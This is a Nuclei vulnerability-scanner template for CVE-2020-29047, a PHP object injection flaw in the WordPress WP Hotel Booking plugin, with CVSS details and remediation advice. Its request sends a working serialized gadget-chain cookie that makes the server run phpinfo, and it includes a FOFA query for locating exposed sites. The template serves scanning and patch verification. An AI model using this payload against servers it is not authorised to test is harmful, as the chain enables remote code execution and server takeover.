WP Hotel Booking < 1.10.4 - PHP Object Injection

id: CVE-2020-29047

info:
  name: WP Hotel Booking < 1.10.4 - PHP Object Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The wp-hotel-booking plugin through 1.10.2 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the thimpress_hotel_booking_1 cookie in load in includes/class-wphb-sessions.php.
  impact: |
    Unauthenticated attackers can exploit PHP object injection to execute arbitrary code, leading to complete server compromise.
  remediation: |
    Upgrade to WP Hotel Booking version 1.10.3 or later.
  reference:
    - https://wordpress.org/plugins/wp-hotel-booking/#developers
    - https://github.com/20142995/nuclei-templates
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29047
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29047
    cwe-id: CWE-502
    epss-score: 0.14269
    epss-percentile: 0.96162
    cpe: cpe:2.3:a:thimpress:wp_hotel_booking:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: wp_hotel_booking
    framework: wordpress
    fofa-query: body="wp-content/plugins/wp-hotel-booking"
  tags: cve,cve2020,wordpress,wp-plugin,wp,wp-hotel-booking,rce,thimpress,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: thimpress_hotel_booking_1=O:11:"WPHB_Logger":1:{s:21:"%00WPHB_Logger%00_handles"%3BC:33:"Requests_Utility_FilteredIterator":67:{x:i:0%3Ba:1:{i:0%3Bs:2:"-1"%3B}%3Bm:a:1:{s:11:"%00*%00callback"%3Bs:7:"phpinfo"%3B}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "wp-hotel-booking"
        condition: and

      - type: status
        status:
          - 200
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